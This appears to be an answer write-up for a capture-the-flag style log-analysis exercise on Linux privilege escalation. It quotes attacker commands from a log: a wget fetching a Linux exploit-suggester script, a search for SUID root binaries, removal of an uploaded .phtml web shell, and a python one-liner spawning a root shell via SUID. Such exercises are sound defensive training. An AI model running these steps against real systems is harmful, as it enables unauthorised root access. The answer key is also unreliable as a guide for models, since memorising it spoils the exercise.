Log Analysis - Privilege Escalation

Reading Material:

• Link 1
• Link 2

1. What user (other than ‘root’) is present on the server? (2 points)

   Relevant command (line 21):

   cd /home/daniel/
   

   Answer: daniel

2. What script did the attacker try to download to the server? (2 points)

   Relevant command (line 32):

   wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
   

   Answer: linux-exploit-suggester.sh

3. What packet analyzer tool did the attacker try to use? (2 points)

   Relevant command (line 47):

   tcpdump
   

   Answer: tcpdump

4. What file extension did the attacker use to bypass the file upload filter implemented by the developer? (2 points)

   Relevant command (line 63):

   rm /var/www/html/uploads/x.phtml
   

   Answer: .phtml

5. Based on the commands run by the attacker before removing the php shell, what misconfiguration was exploited in the ‘python’ binary to gain root-level access? 1- Reverse Shell ; 2- File Upload ; 3- File Write ; 4- SUID ; 5- Library load (2 points)

   Relevant commands:

   find / -type f -user root -perm -4000 2>/dev/null
   ./usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
   

   Answer: 4

---

Tags

1. log-analysis (Private)
2. privilege-escalation (Private)
3. PHP (Private)